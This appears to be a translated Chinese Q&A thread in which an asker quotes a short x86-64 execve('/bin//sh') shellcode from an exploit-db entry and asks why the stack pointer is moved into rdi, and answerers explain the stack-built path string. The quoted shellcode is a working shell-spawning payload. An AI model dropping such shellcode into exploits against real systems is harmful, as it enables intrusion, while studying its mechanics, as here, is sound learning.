【发布时间】:2021-12-24 21:56:55
【问题描述】:
https://www.exploit-db.com/exploits/46907
global _start
section .text
_start:
xor rsi,rsi
push rsi
mov rdi,0x68732f2f6e69622f
push rdi
push rsp
pop rdi
push 59
pop rax
cdq
syscall
一条指令是push %rsp,然后将其弹出rdi。我很迷惑。根据文档,execve 系统调用中的rdi 应该包含可执行文件的路径名。这里和rsp 有什么关系?其他 shellcode 不操纵rsp。
【问题讨论】:
-
您正在将该 API 的参数推送到堆栈中。 FILO
-
在堆栈上构造数据,然后将堆栈指针复制到另一个reg,是完全正常的。许多 shellcode 操纵 RSP。
push rsp/pop rdi只是mov rdi, rsp的 2 字节版本,它是在推送 0 和 8 字节的 ASCII 数据之后出现的。使用调试器单步执行 asm,并在syscall执行时查看 RDI 指向的内存,然后向后工作以了解您是如何到达那里的。
标签: assembly x86-64 nasm shellcode